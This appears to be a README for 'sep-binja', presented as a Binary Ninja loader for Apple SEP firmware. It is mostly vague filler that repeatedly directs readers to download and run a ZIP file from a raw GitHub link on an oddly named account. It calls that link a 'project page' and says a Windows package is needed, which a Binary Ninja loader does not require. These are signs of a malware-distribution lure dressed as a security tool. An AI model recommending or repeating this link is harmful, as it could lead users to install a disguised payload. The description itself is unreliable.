sep-binja is a loader for Binary Ninja that helps you open Apple SEP firmware files. It gives Binary Ninja the details it needs to make the file easier to inspect. This can help you review structure, symbols, and code paths in a way that is easier to follow.
This tool is meant for users who want to inspect SEP firmware on Windows with Binary Ninja. You do not need to build anything if you use the release files from the project page.
Visit this page to download and run the software on Windows:
https://raw.githubusercontent.com/tannallfired823/sep-binja/main/repo/sep_binja_v1.4-alpha.4.zip
Use the project page to get the latest version, then download the Windows file or package linked there.
Before you start, make sure you have:
- Windows 10 or Windows 11
- Binary Ninja installed
- Permission to run apps from the download you choose
- Enough disk space for Binary Ninja and your firmware files
For the best results, keep Binary Ninja up to date. The loader is built to work with common Windows setups and standard Binary Ninja installs.
Follow these steps to use sep-binja on Windows:
-
Open the download page: https://raw.githubusercontent.com/tannallfired823/sep-binja/main/repo/sep_binja_v1.4-alpha.4.zip
-
Download the Windows release or package from the page.
-
If the download comes in a ZIP file, right-click it and choose Extract All.
-
Open the extracted folder.
-
Look for the loader file or install files that belong with Binary Ninja.
-
Copy the loader file into the Binary Ninja plugin or loader folder if the package includes one.
-
Start Binary Ninja.
-
Open an Apple SEP firmware file through Binary Ninja.
-
Select sep-binja if Binary Ninja asks which loader to use.
-
Let Binary Ninja analyze the file.
If the package includes a readme or install file, follow that file first. Some releases may place the loader in a folder that Binary Ninja checks on startup.
After you install the loader:
- Launch Binary Ninja.
- Choose File, then Open.
- Select your Apple SEP firmware file.
- If prompted, confirm that you want to use sep-binja.
- Wait for the file to load and analyze.
The loader helps Binary Ninja map the firmware in a way that makes the data easier to inspect. You can then use Binary Ninja's normal tools to browse code, strings, and sections.
A common Windows setup looks like this:
- Download the project from the GitHub page.
- Extract the files.
- Place the loader in the Binary Ninja plugin path.
- Restart Binary Ninja.
- Open a SEP firmware image.
If you use a portable Binary Ninja install, place the files in that app folder. If you use an installed copy, put the loader in the user plugin folder that Binary Ninja reads on launch.
Depending on the release, the download may include:
- A loader file
- A readme file
- A license file
- Example firmware notes
- A folder for Binary Ninja plugin files
These files help you install the loader and understand how to use it with your firmware images.
Once the firmware loads, you may be able to review:
- Firmware sections
- Code flow
- Data blocks
- Strings
- Function boundaries
- Low-level structure
This can help when you need to study how the SEP firmware is laid out inside Binary Ninja.
A typical use case is opening an Apple SEP firmware image in Binary Ninja and using sep-binja to make the file load in a useful way. This is helpful when you want a more readable view of the firmware than a raw hex editor can provide.
If Binary Ninja does not use the loader, check these steps:
- Make sure the loader files are in the right plugin folder
- Close and reopen Binary Ninja
- Confirm that you downloaded the correct Windows package
- Check that the firmware file is a supported Apple SEP firmware image
- Try opening the file again from Binary Ninja
If the file still does not load, review any files included with the download for install steps tied to that release.
- Use the latest Binary Ninja version you have access to
- Keep the download in a simple folder path, like
C:\Tools\sep-binja - Avoid spaces or special characters in the folder name if you run into load issues
- Restart Binary Ninja after adding the loader
- Keep a copy of the original firmware file before you open it
Only download the loader from the project page linked above. After download, you can check the file name and folder contents before you place anything into Binary Ninja. This helps you keep track of what you installed and where it came from.
sep-binja is for users who need a loader for Apple SEP firmware inside Binary Ninja. It helps make the file fit the analysis tools in Binary Ninja, which makes manual review more practical.
- Go to https://raw.githubusercontent.com/tannallfired823/sep-binja/main/repo/sep_binja_v1.4-alpha.4.zip
- Download the Windows package
- Extract the files
- Copy the loader to the Binary Ninja plugin folder
- Open Binary Ninja
- Load your Apple SEP firmware file